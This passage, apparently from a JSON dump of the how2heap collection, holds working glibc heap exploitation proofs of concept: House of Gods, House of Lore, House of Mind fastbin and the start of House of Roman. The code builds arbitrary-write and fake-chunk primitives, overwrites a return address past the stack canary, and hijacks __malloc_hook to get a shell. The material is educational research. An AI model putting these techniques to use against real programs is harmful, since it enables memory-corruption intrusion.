binmap-chunk from the unsorted bin.\n     * */\n    void *BINMAP = malloc(0x1f8);\n\n    printf(\"After allocating the binmap-chunk, the unsorted bin should look similar to this\\n\\n\");\n\n    printf(\"head -> main-arena -> FAST40 -> INTM\\n\");\n    printf(\"     bk            bk        bk\\n\\n\");\n\n    printf(\"And that is a binmap attack. We've successfully gained control over a small\\n\");\n    printf(\"number of fields within the main-arena. Two of them are crucial for\\n\");\n    printf(\"the House of Gods technique\\n\\n\");\n\n    printf(\"    -> main_arena.next\\n\");\n    printf(\"    -> main_arena.system_mem\\n\\n\");\n\n    printf(\"By tampering with the main_arena.next field, we can manipulate the arena's\\n\");\n    printf(\"linked list and insert the address of a fake arena. Once this is done,\\n\");\n    printf(\"we can trigger two calls to malloc's reused_arena() function.\\n\\n\");\n\n    printf(\"The purpose of the reused_arena() function is to return a non-corrupted,\\n\");\n    printf(\"non-locked arena from the arena linked list in case that the current\\n\");\n    printf(\"arena could not handle previous allocation request.\\n\\n\");\n\n    printf(\"The first call to reused_arena() will traverse the linked list and return\\n\");\n    printf(\"a pointer to the current main-arena.\\n\\n\");\n\n    printf(\"The second call to reused_arena() will traverse the linked list and return\\n\");\n    printf(\"a pointer to the previously injected fake arena (main_arena.next).\\n\\n\");\n\n    printf(\"We can reach the reused_arena() if we meet following conditions\\n\\n\");\n\n    printf(\"    - exceeding the total amount of arenas a process can have.\\n\");\n    printf(\"      malloc keeps track by using the narenas variable as\\n\");\n    printf(\"      an arena counter. If this counter exceeds the limit (narenas_limit),\\n\");\n    printf(\"      it will start to reuse existing arenas from the arena list instead\\n\");\n    printf(\"      of creating new ones. Luckily, we can set narenas to a very large\\n\");\n    printf(\"      value by performing an unsorted bin attack against it.\\n\\n\");\n\n    printf(\"    - force the malloc algorithm to ditch the current arena.\\n\");\n    printf(\"      When malloc notices a failure it will start a second allocation\\n\");\n    printf(\"      attempt with a different arena. We can mimic an allocation failure by\\n\");\n    printf(\"      simply requesting too much memory i.e. 0xffffffffffffffc0 and greater.\\n\\n\");\n\n    printf(\"Let us start with the unsorted bin attack. We load the address of narenas\\n\");\n    printf(\"minus 0x10 into the bk pointer of the currently allocated INTM chunk...\\n\\n\");\n\n    /*\n     * set INTM's bk to narenas-0x10. This will\n     * be our target for the unsorted bin attack.\n     * */\n    *((uint64_t*) (INTM + 0x8)) = leak - 0xa20;\n\n    printf(\"...and then manipulate the main_arena.system_mem field in order to pass the\\n\");\n    printf(\"size sanity checks for the chunk overlapping the main-arena.\\n\\n\");\n\n    /*\n     * this way we can abuse a heap pointer\n     * as a valid sizefield.\n     * */\n    *((uint64_t*) (BINMAP + 0x20)) = 0xffffffffffffffff;\n\n    printf(\"The unsorted bin should now look like this\\n\\n\");\n\n    printf(\"head -> main-arena -> FAST40 -> INTM -> narenas-0x10\\n\");\n    printf(\"     bk            bk        bk      bk\\n\\n\");\n\n    printf(\"We can now trigger the unsorted bin attack by requesting the\\n\");\n    printf(\"INTM chunk as an exact fit.\\n\\n\");\n\n    /*\n     * request the INTM chunk from the unsorted bin\n     * in order to trigger a partial unlinking between\n     * head and narenas-0x10.\n     * */\n    INTM = malloc(0x98);\n\n    printf(\"Perfect. narenas is now set to the address of the unsorted bin's head\\n\");\n    printf(\"which should be large enough to exceed the existing arena limit.\\n\\n\");\n\n    printf(\"Let's proceed with the manipulation of the main_arena.next pointer\\n\");\n    printf(\"within our previously allocated binmap-chunk. The address we write\\n\");\n    printf(\"to this field will become the future value of thread_arena.\\n\\n\");\n\n    /*\n     * set main_arena.next to an arbitrary address. The\n     * next two calls to malloc will overwrite thread_arena\n     * with the same address. I'll reuse INTM as fake arena.\n     *\n     * Note, that INTM is not suitable as fake arena but\n     * nevertheless, it is an easy way to demonstrate that\n     * we are able to set thread_arena to an arbitrary address.\n     * */\n    *((uint64_t*) (BINMAP + 0x8)) = (uint64_t) (INTM - 0x10);\n\n    printf(\"Done. Now all what's left to do is to trigger two calls to the reused_arena()\\n\");\n    printf(\"function by making two requests for an invalid chunksize.\\n\\n\");\n\n    /*\n     * the first call will force the reused_arena()\n     * function to set thread_arena to the address of\n     * the current main-arena.\n     * */\n    malloc(0xffffffffffffffbf + 1);\n\n    /*\n     * the second call will force the reused_arena()\n     * function to set thread_arena to the address stored\n     * in main_arena.next - our fake arena.\n     * */\n    malloc(0xffffffffffffffbf + 1);\n\n    printf(\"We did it. We hijacked the thread_arena symbol and from now on memory\\n\");\n    printf(\"requests will be serviced by our fake arena. Let's check this out\\n\");\n    printf(\"by allocating a fakechunk on the stack from one of the fastbins\\n\");\n    printf(\"of our new fake arena.\\n\\n\");\n\n    /*\n     * construct a 0x70-fakechunk on the stack...\n     * */\n    uint64_t fakechunk[4] = {\n\n        0x0000000000000000, 0x0000000000000073,\n        0x4141414141414141, 0x0000000000000000\n    };\n\n    /*\n     * ...and place it in the 0x70-fastbin of our fake arena\n     * */\n    *((uint64_t*) (INTM + 0x20)) = (uint64_t) (fakechunk);\n\n    printf(\"Fakechunk in position at stack address %p\\n\", fakechunk);\n    printf(\"Target data within the fakechunk at address %p\\n\", &fakechunk[2]);\n    printf(\"Its current value is %#lx\\n\\n\", fakechunk[2]);\n\n    printf(\"And after requesting a 0x70-chunk...\\n\");\n\n    /*\n     * use the fake arena to perform arbitrary allocations\n     * */\n    void *FAKECHUNK = malloc(0x68);\n\n    printf(\"...malloc returns us the fakechunk at %p\\n\\n\", FAKECHUNK);\n\n    printf(\"Overwriting the newly allocated chunk changes the target\\n\");\n    printf(\"data as well: \");\n\n    /*\n     * overwriting the target data\n     * */\n    *((uint64_t*) (FAKECHUNK)) = 0x4242424242424242;\n\n    printf(\"%#lx\\n\", fakechunk[2]);\n\n    /*\n     * confirm success\n     * */\n    assert(fakechunk[2] == 0x4242424242424242);\n\n    return EXIT_SUCCESS;\n}\n"
  },
  {
    "path": "glibc_2.24/house_of_lore.c",
    "content": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of smallbin corruption.\n\n[ ... ]\n\nelse\n    {\n      bck = victim->bk;\n    if (__glibc_unlikely (bck->fd != victim)){\n\n                  errstr = \"malloc(): smallbin double linked list corrupted\";\n                  goto errout;\n                }\n\n       set_inuse_bit_at_offset (victim, nb);\n       bin->bk = bck;\n       bck->fd = bin;\n\n       [ ... ]\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nvoid jackpot(){ fprintf(stderr, \"Nice jump d00d\\n\"); exit(0); }\n\nint main(int argc, char * argv[]){\n\n\n  intptr_t* stack_buffer_1[4] = {0};\n  intptr_t* stack_buffer_2[3] = {0};\n\n  fprintf(stderr, \"\\nWelcome to the House of Lore\\n\");\n  fprintf(stderr, \"This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n\");\n  fprintf(stderr, \"This is tested against Ubuntu 16.04.6 - 64bit - glibc-2.23\\n\\n\");\n\n  fprintf(stderr, \"Allocating the victim chunk\\n\");\n  intptr_t *victim = malloc(0x100);\n  fprintf(stderr, \"Allocated the first small chunk on the heap at %p\\n\", victim);\n\n  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk\n  intptr_t *victim_chunk = victim-2;\n\n  fprintf(stderr, \"stack_buffer_1 at %p\\n\", (void*)stack_buffer_1);\n  fprintf(stderr, \"stack_buffer_2 at %p\\n\", (void*)stack_buffer_2);\n\n  fprintf(stderr, \"Create a fake chunk on the stack\\n\");\n  fprintf(stderr, \"Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted\"\n         \"in second to the last malloc, which putting stack address on smallbin list\\n\");\n  stack_buffer_1[0] = 0;\n  stack_buffer_1[1] = 0;\n  stack_buffer_1[2] = victim_chunk;\n\n  fprintf(stderr, \"Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 \"\n         \"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake \"\n         \"chunk on stack\");\n  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;\n  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;\n  \n  fprintf(stderr, \"Allocating another large chunk in order to avoid consolidating the top chunk with\"\n         \"the small one during the free()\\n\");\n  void *p5 = malloc(1000);\n  fprintf(stderr, \"Allocated the large chunk on the heap at %p\\n\", p5);\n\n\n  fprintf(stderr, \"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n  free((void*)victim);\n\n  fprintf(stderr, \"\\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  fprintf(stderr, \"Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n\");\n  fprintf(stderr, \"This means that the chunk %p will be inserted in front of the SmallBin\\n\", victim);\n\n  void *p2 = malloc(1200);\n  fprintf(stderr, \"The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n\", p2);\n\n  fprintf(stderr, \"The victim chunk has been sorted and its fwd and bk pointers updated\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  //------------VULNERABILITY-----------\n\n  fprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\n  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack\n\n  //------------------------------------\n\n  fprintf(stderr, \"Now allocating a chunk with size equal to the first one freed\\n\");\n  fprintf(stderr, \"This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n\");\n\n  void *p3 = malloc(0x100);\n\n\n  fprintf(stderr, \"This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n\");\n  char *p4 = malloc(0x100);\n  fprintf(stderr, \"p4 = malloc(0x100)\\n\");\n\n  fprintf(stderr, \"\\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n\",\n         stack_buffer_2[2]);\n\n  fprintf(stderr, \"\\np4 is %p and should be on the stack!\\n\", p4); // this chunk will be allocated on stack\n  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode\n  long offset = (long)__builtin_frame_address(0) - (long)p4;\n  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary\n\n  // sanity check\n  assert((long)__builtin_return_address(0) == (long)jackpot);\n}\n"
  },
  {
    "path": "glibc_2.24/house_of_mind_fastbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n/*\n\nHouse of Mind - Fastbin Variant\n==========================\n\nThis attack is similar to the original 'House of Mind' in that it uses\na fake non-main arena in order to write to a new location. This\nuses the fastbin for a WRITE-WHERE primitive in the 'fastbin'\nvariant of the original attack though. The original write for this\ncan be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. \n\nBy being able to allocate an arbitrary amount of chunks, a single byte\noverwrite on a chunk size and a memory leak, we can control a super\npowerful primitive. \n\nThis could be used in order to write a freed pointer to an arbitrary\nlocation (which seems more useful). Or, this could be used as a\nwrite-large-value-WHERE primitive (similar to unsortedbin attack). \n Both are interesting in their own right though but the first\noption is the most powerful primitive, given the right setting.\n\nMalloc chunks have a specified size and this size information\nspecial metadata properties (prev_inuse, mmap chunk and non-main arena). \nThe usage of non-main arenas is the focus of this exploit. For more information \non this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. \n\nFirst, we need to understand HOW the non-main arena is known from a chunk.\n\nThis the 'heap_info' struct: \n\nstruct _heap_info\n{\n  mstate ar_ptr;           // Arena for this heap. <--- Malloc State pointer\n  struct _heap_info *prev; // Previous heap.\n  size_t size;            // Current size in bytes.\n  size_t mprotect_size;   // Size in bytes that has been mprotected\n  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment\n} heap_info; \n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48\n\nThe important thing to note is that the 'malloc_state' within\nan arena is grabbed from the ar_ptr, which is the FIRST entry \nof this. Malloc_state == mstate == arena \n\nThe main arena has a special pointer. However, non-main arenas (mstate)\nare at the beginning of a heap section. They are grabbed with the \nfollowing code below, where the user controls the 'ptr' in 'arena_for_chunk':\n\n#define heap_for_ptr(ptr) \\\n  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))\n#define arena_for_chunk(ptr) \\\n  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)\n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127\n\nThis macro takes the 'ptr' and subtracts a large value because the \n'heap_info' should be at the beginning of this heap section. Then, \nusing this, it can find the 'arena' to use. \n\nThe idea behind the attack is to use a fake arena to write pointers \nto locations where they should not go but abusing the 'arena_for_chunk' \nfunctionality when freeing a fastbin chunk.\n\nThis POC does the following things: \n- Finds a valid arena location for a non-main arena.\n- Allocates enough heap chunks to get to the non-main arena location where \n  we can control the values of the arena data. \n- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.\n- Using this fake arena (ar_ptr), we can use the fastbin to write\n  to an unexpected location of the 'ar_ptr' with a heap pointer. \n\nRequirements: \n- A heap leak in order to know where the fake 'heap_info' is located at.\n\t- Could be possible to avoid with special spraying techniques\n- An unlimited amount of allocations\n- A single byte overflow on the size of a chunk\n\t- NEEDS to be possible to put into the fastbin. \n\t- So, either NO tcache or the tcache needs to be filled. \n- The location of the malloc state(ar_ptr) needs to have a value larger\n  than the fastbin size being freed at malloc_state.system_mem otherwise\n  the chunk will be assumed to be invalid.\n\t- This can be manually inserted or CAREFULLY done by lining up\n\t  values in a proper way. \n- The NEXT chunk, from the one that is being freed, must be a valid size\n(again, greater than 0x20 and less than malloc_state.system_mem)\n\n\nRandom perks:\n- Can be done MULTIPLE times at the location, with different sized fastbin\n  chunks. \n- Does not brick malloc, unlike the unsorted bin attack. \n- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. \n\n\n\n************************************\nWritten up by Maxwell Dulin (Strikeout) \n************************************\n*/\n\nint main(){\n\n\tprintf(\"House of Mind - Fastbin Variant\\n\");\n\tputs(\"==================================\");\n\tprintf(\"The goal of this technique is to create a fake arena\\n\");\n\tprintf(\"at an offset of HEAP_MAX_SIZE\\n\");\n\t\n\tprintf(\"Then, we write to the fastbins when the chunk is freed\\n\");\n\tprintf(\"This creates a somewhat constrained WRITE-WHERE primitive\\n\");\n\t// Values for the allocation information.\t\n\tint HEAP_MAX_SIZE = 0x4000000;\n\tint MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635\n\n\tprintf(\"Find initial location of the heap\\n\");\n\t// The target location of our attack and the fake arena to use\n\tuint8_t* fake_arena = malloc(0x1000); \n\tuint8_t* target_loc = fake_arena + 0x28;\n\n\tuint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;\n\n\t/*\n\tPrepare a valid 'malloc_state' (arena) 'system_mem' \n\tto store a fastbin. This is important because the size\n\tof a chunk is validated for being too small or too large\n\tvia the 'system_mem' of the 'malloc_state'. This just needs\n\tto be a value larger than our fastbin chunk.\n\t*/\n\tprintf(\"Set 'system_mem' (offset 0x880) for fake arena\\n\");\n\tfake_arena[0x880] = 0xFF;\n\tfake_arena[0x881] = 0xFF; \n\tfake_arena[0x882] = 0xFF; \n\n\tprintf(\"Target Memory Address for overwrite: %p\\n\", target_loc);\n\tprintf(\"Must set data at HEAP_MAX_SIZE (0x%x) offset\\n\", HEAP_MAX_SIZE);\n\n\t// Calculate the location of our fake arena\n\tuint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);\n\tuint64_t* fake_heap_info = (uint64_t*) new_arena_value;\n\n\tuint64_t* user_mem = malloc(MAX_SIZE);\n\tprintf(\"Fake Heap Info struct location: %p\\n\", fake_heap_info);\n\tprintf(\"Allocate until we reach a MAX_HEAP_SIZE offset\\n\");\t\n\n\t/* \n\tThe fake arena must be at a particular offset on the heap.\n\tSo, we allocate a bunch of chunks until our next chunk\n\twill be in the arena. This value was calculated above.\n\t*/\n\twhile((long long)user_mem < new_arena_value){\n\t\tuser_mem = malloc(MAX_SIZE);\n\t}\n\n\t// Use this later to trigger craziness\n\tprintf(\"Create fastbin sized chunk to be victim of attack\\n\");\n\tuint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60\n\tuint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem\n\tprintf(\"Fastbin Chunk to overwrite: %p\\n\", fastbin_chunk);\n\n\t/*\n\tCreate a FAKE malloc_state pointer for the heap_state\n\tThis is the 'ar_ptr' of the 'heap_info' struct shown above. \n\tThis is the first entry in the 'heap_info' struct at offset 0x0\n\t at the heap.\n\n\tWe set this to the location where we want to write a value to.\n\tThe location that gets written to depends on the fastbin chunk\n\tsize being freed. This will be between an offset of 0x8 and 0x40\n\tbytes. For instance, a chunk with a size of 0x20 would be in the\n\t0th index of fastbinsY struct. When this is written to, we will\n\twrite to an offset of 8 from the original value written.\n\t- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686\n\t*/\n\tprintf(\"Setting 'ar_ptr' (our fake arena)  in heap_info struct to %p\\n\", fake_arena);\n\tfake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)\n\tprintf(\"Target Write at %p prior to exploitation: 0x%x\\n\", target_loc, *(target_loc));\n\n\t/*\n\tSet the non-main arena bit on the size. \n\tAdditionally, we keep the size the same as the original\n\tallocation because there is a sanity check on the fastbin (when freeing)\n\tthat the next chunk has a valid size. \n\n\tWhen grabbing the non-main arena, it will use our choosen arena!\n\tFrom there, it will write to the fastbin because of the size of the\n\tchunk.\n\n\t///// Vulnerability! Overwriting the chunk size \n\t*/\n\tprintf(\"Set non-main arena bit on the fastbin chunk\\n\");\n\tputs(\"NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\\n\");\n\tchunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit\n\n\t//// End vulnerability \n\n\t/*\n\tThe offset being written to with the fastbin chunk address\n\tdepends on the fastbin BEING used and the malloc_state itself. \n\tIn 2.23, the offset from the beginning of the malloc_state\n\tto the fastbinsY array is only 0x8. Then, fastbinsY[0x4] is an \n\tadditional byte offset of 0x20. In total, the writing offset\n\tfrom the arena location is 0x28 bytes.\n\tfrom the arena location to where the write actually occurs. \n\tThis is a similar concept to bk - 0x10 from the unsorted\n\tbin attack. \n\t*/\n\tprintf(\"When we free the fastbin chunk with the non-main arena bit\\n\");\n\tprintf(\"set, it will cause our fake 'heap_info' struct to be used.\\n\");\n\tprintf(\"This will dereference our fake arena location and write\\n\");\n\tprintf(\"the address of the heap to an offset of the arena pointer.\\n\");\n\n\tprintf(\"Trigger the magic by freeing the chunk!\\n\");\n\tfree(fastbin_chunk); // Trigger the madness\n\n\t// For this particular fastbin chunk size, the offset is 0x28. \n\tprintf(\"Target Write at %p: 0x%llx\\n\", target_loc, *((unsigned long long*) (target_loc)));\n\tassert(*((unsigned long *) (target_loc)) != 0);\n}\n"
  },
  {
    "path": "glibc_2.24/house_of_roman.c",
    "content": "#define _GNU_SOURCE     /* for RTLD_NEXT */\n#include <stdlib.h>\n#include <stdio.h>\n#include <stdint.h>\n#include <string.h>\n#include <malloc.h>\n#include <dlfcn.h>\n\nchar* shell = \"/bin/sh\\x00\";\n\n/* \nTechnique was tested on GLibC 2.23, 2.24 via the glibc_build.sh script inside of how2heap on Ubuntu 16.04. 2.25 was tested on Ubuntu 17.04.\n\nCompile: gcc -fPIE -pie house_of_roman.c -o house_of_roman\n\nPOC written by Maxwell Dulin (Strikeout) \n*/\n\n// Use this in order to turn off printf buffering (messes with heap alignment)\nvoid* init(){\n\tsetvbuf(stdout, NULL, _IONBF, 0);\n\tsetvbuf(stdin, NULL, _IONBF, 0);\n}\n\n\nint main(){\n\n\t/* \n\tThe main goal of this technique is to create a **leakless** heap \n\texploitation technique in order to get a shell. This is mainly \n\tdone using **relative overwrites** in order to get pointers in \n\tthe proper locations without knowing the exact value of the pointer.\n\n\tThe first step is to get a pointer inside of __malloc_hook. This \n\tis done by creating a fastbin bin that looks like the following: \n\tptr_to_chunk -> ptr_to_libc. Then, we alter the ptr_to_libc\n\t (with a relative overwrite) to point to __malloc_hook. \n\t\t\t\n\tThe next step is to run an unsorted bin attack on the __malloc_hook \n\t(which is now controllable from the previous attack).  Again, we run \n\tthe unsorted_bin attack by altering the chunk->bk with a relative overwrite. \n\n\tFinally, after launching the unsorted_bin attack to put a libc value \n\tinside of __malloc_hook, we use another relative overwrite on the \n\tvalue of __malloc_hook to point to a one_gadget, system or some other function.\n\t\n\tNow, the next time we run malloc we pop a shell! :) \n\tHowever, this does come at a cost: 12 bits of randomness must be \n\tbrute forced (0.02% chance) of working.\n\n\tThe original write up for the *House of Roman* can be found at\n\t https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc#assumptions.\n\n\n\n\n\n\tThis technique requires the ability to edit fastbin and unsorted bin \n\tpointers via UAF or overflow of some kind. Additionally, good control \n\tover the allocations sizes and freeing is required for this technique.\n\t*/\n\n\tchar* introduction = \"\\nWelcome to the House of Roman\\n\\n\"\n\t\t\t     \"This is a heap exploitation technique that is LEAKLESS.\\n\"\n\t\t\t     \"There are three stages to the attack: \\n\\n\"\n\t\t\t     \"1. Point a fastbin chunk to __malloc_hook.\\n\"\n\t\t\t     \"2. Run the unsorted_bin attack on __malloc_hook.\\n\"\n\t\t\t     \"3. Relative overwrite on main_arena at __malloc_hook.\\n\\n\"\n\t\t\t     \"All of the stuff mentioned above is done using two main concepts:\\n\"\n                             \"relative overwrites and heap feng shui.\\n\\n\"\n\t\t\t     \"However, this technique comes at a cost:\\n\"\n                             \"12-bits of entropy need to be brute forced.\\n\"\n\t\t\t     \"That means this technique only work 1 out of every 4096 tries or 0.02%.\\n\"\n\t\t\t     \"**NOTE**: For the purpose of this exploit, we set the random values in order to make this consisient\\n\\n\\n\";\n\tputs(introduction);\t\n\tinit();\n\n\n\t/*\t\n\tPart 1: Fastbin Chunk points to __malloc_hook\n\n\tGetting the main_arena in a fastbin chunk ordering is the first step.\n\tThis requires a ton of heap feng shui in order to line this up properly. \n\tHowever, at a glance, it looks like the following:\n\n\tFirst, we need to get a chunk that is in the fastbin with a pointer to\n\ta heap chunk in the fd. \n\tSecond, we point this chunk to a pointer to LibC (in another heap chunk). \n\tAll of the setup below is in order to get the configuration mentioned \n\tabove setup to perform the relative overwrites. \";\n\n\n\tGetting the pointer to libC can be done in two ways: \n\t\t\t- A split from a chunk in the small/large/unsorted_bins \n\t\t\t\tgets allocated to a size of 0x70. \n\t\t\t- Overwrite the size of a small/large chunk used previously to 0x71.\n\n\tFor the sake of example, this uses the first option because it \n\trequires less vulnerabilities.\t\n\t*/\n\n\tputs(\"Step 1: Point fastbin chunk to __malloc_hook\\n\\n\");\n\tputs(\"Setting up chunks for relative overwrites with heap feng shui.\\n\");\n\n\t// Use this as the UAF chunk later to edit the heap pointer later to point to the LibC value.\t\n\tuint8_t* fastbin_victim = malloc(0x60); \n\n\t// Allocate this in order to have good alignment for relative \n\t// offsets later (only want to overwrite a single byte to prevent \n\t// 4 bits of brute on the heap).\n\tmalloc(0x80);\n\n\t// Offset 0x100\n\tuint8_t* main_arena_use = malloc(0x80);\n\t\n\t// Offset 0x190\n\t// This ptr will be used for a relative offset on the 'main_arena_use' chunk\n\tuint8_t* relative_offset_heap = malloc(0x60);\n\t\n\t// Free the chunk to put it into the unsorted_bin. \n\t// This chunk will have a pointer to main_arena + 0x68 in both the fd and bk pointers.\n\tfree(main_arena_use);\n\t\n\n\t/* \n\tGet part of the unsorted_bin chunk (the one that we just freed). \n\tWe want this chunk because the fd and bk of this chunk will \n\tcontain main_arena ptrs (used for relative overwrite later).\n\n\tThe size is particularly set at 0x60 to put this into the 0x70 fastbin later. \n\n\tThis has to be the same size because the __malloc_hook fake \n\tchunk (used later) uses the fastbin size of 0x7f. There is\n\t a security check (within malloc) that the size of the chunk matches the fastbin size.\n\t*/\n\n\tputs(\"Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.\\n\");\n//Offset 0x100. Has main_arena + 0x68 in fd and bk.\n\tuint8_t* fake_libc_chunk = malloc(0x60);\n\n\t//// NOTE: This is NOT part of the exploit... \\\\\\\n\t// The __malloc_hook is calculated in order for the offsets to be found so that this exploit works on a handful of versions of GLibC. \n\tlong long __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;\n\n\n\t// We need the filler because the overwrite below needs \n\t// to have a ptr in the fd slot in order to work. \n\t//Freeing this chunk puts a chunk in the fd slot of 'fastbin_victim' to be used later. \n\tfree(relative_offset_heap);\t\n\n    \t/* \n    \tCreate a UAF on the chunk. Recall that the chunk that fastbin_victim \n\tpoints to is currently at the offset 0x190 (heap_relative_offset).\n     \t*/\n\tfree(fastbin_victim);\n\n\t/*\n\n\tNow, we start doing the relative overwrites, since that we have \n\tthe pointers in their proper locations. The layout is very important to \n\tunderstand for this.\n\n\tCurrent heap layout: \n\t0x0:   fastbin_victim       - size 0x70 \n\t0x70:  alignment_filler     - size 0x90\n\t0x100: fake_libc_chunk      - size 0x70\n\t0x170: leftover_main        - size 0x20\n\t0x190: relative_offset_heap - size 0x70 \n\n\tbin layout: \n\t\t\tfastbin:  fastbin_victim -> relative_offset_heap\n\t\t\tunsorted: leftover_main\n\t\n\tNow, the relative overwriting begins:\n\tRecall that fastbin_victim points to relative_offset_heap \n\t(which is in the 0x100-0x200 offset range). The fastbin uses a singly \n\tlinked list, with the next chunk in the 'fd' slot.\n\n\tBy *partially* editing the fastbin_victim's last byte (from 0x90 \n\tto 0x00) we have moved the fd pointer of fastbin_victim to \n\tfake_libc_chunk (at offset 0x100).\n\n\tAlso, recall that fake_libc_chunk had previously been in the unsorted_bin. \n\tBecause of this, it has a fd pointer that points to main_arena + 0x68. \n\n\tNow, the fastbin looks like the following: \n\tfastbin_victim -> fake_libc_chunk ->(main_arena + 0x68).\n\n\n\tThe relative overwrites (mentioned above) will be demonstrates step by step below.\n\t\n\t*/\n\n\n\tputs(\"\\\nOverwrite the first byte of a heap chunk in order to point the fastbin chunk\\n\\\nto the chunk with the LibC address\\n\");\n\tputs(\"\\\nFastbin 0x70 now looks like this:\\n\\\nheap_addr -> heap_addr2 -> LibC_main_arena\\n\");\n\tfastbin_victim[0] = 0x00; // The location of this is at 0x100. But, we only want to overwrite the first byte. So, we put 0x0 for this.\n\t\n\n\t/*\n\tNow, we have a fastbin that looks like the following: \n\t\t\t0x70: fastbin_victim -> fake_libc_chunk -> (main_arena + 0x68)\n\t\n\tWe want the fd ptr in fake_libc_chunk to point to something useful. \n\tSo, let's edit this to point to the location of the __malloc_hook. \n\tThis way, we can get control of a function ptr.\n\n\tTo do this, we need a valid malloc size. Within the __memalign_hook \n\tis usually an address that usually starts with 0x7f. \n\tBecause __memalign_hook value is right before this are all 0s, \n\twe could use a misaligned chunk to get this to work as a valid size in \n\tthe 0x70 fastbin.\n\n\tThis is where the first 4 bits of randomness come into play. \n\tThe first 12 bits of the LibC address are deterministic for the address. \n\tHowever, the next 4 (for a total of 2 bytes) are not. \n\t\n\tSo, we have to brute force 2^4 different possibilities (16) \n\tin order to get this in the correct location. This 'location' \n\tis different for each version of GLibC (should be noted).\n\n\tAfter doing this relative overwrite, the fastbin looks like the following:\n\t\t\t0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23).\n\n\t*/\n\t\n\t/* \n\tRelatively overwrite the main_arena pointer to point to a valid \n\tchunk close to __malloc_hook.\n\n\t///// NOTE: In order to make this exploit consistent \n\t(not brute forcing with hardcoded offsets), we MANUALLY set the values. \\\\\\\n\n\tIn the actual attack, this values would need to be specific \n\tto a version and some of the bits would have to be brute forced \n\t(depending on the bits).\n\t*/ \n\nputs(\"\\\nUse a relative overwrite on the main_arena pointer in the fastbin.\\n\\\nPoint this close to __malloc_hook in order to create a fake fastbin chunk\\n\");\n\tlong long __malloc_hook_adjust = __malloc_hook - 0x23; // We substract 0x23 from the malloc because we want to use a 0x7f as a valid fastbin chunk size.\n\n\t// The relative overwrite\n\tint8_t byte1 = (__malloc_hook_adjust) & 0xff; \t\n\tint8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8; \n\tfake_libc_chunk[0] = byte1; // Least significant bytes of the address.\n\tfake_libc_chunk[1] = byte2; // The upper most 4 bits of this must be brute forced in a real attack.\n\n\t// Two filler chunks prior to the __malloc_hook chunk in the fastbin. \n\t// These are fastbin_victim and fake_libc_chunk.\n\tputs(\"Get the fake chunk pointing close to __malloc_hook\\n\");\n\tputs(\"\\\nIn a real exploit, this would fail 15/16 times\\n\\\nbecause of the final half byet of the malloc_hook being random\\n\");\t\n\tmalloc(0x60);\n\tmalloc(0x60);\n\n\t// If the 4 bit brute force did not work, this will crash because \n\t// of the chunk size not matching the bin for the chunk. \n\t// Otherwise, the next step of the attack can begin.\n\tuint8_t* malloc_hook_chunk = malloc(0x60);\t\n\n\tputs(\"Passed step 1 =)\\n\\n\\n\");\n\n\t/*\n\tPart 2: Unsorted_bin attack \n\n\tNow, we have control over the location of the __malloc_hook. \n\tHowever, we do not know the address of LibC still. So, we cannot \n\tdo much with this attack. In order to pop a shell, we 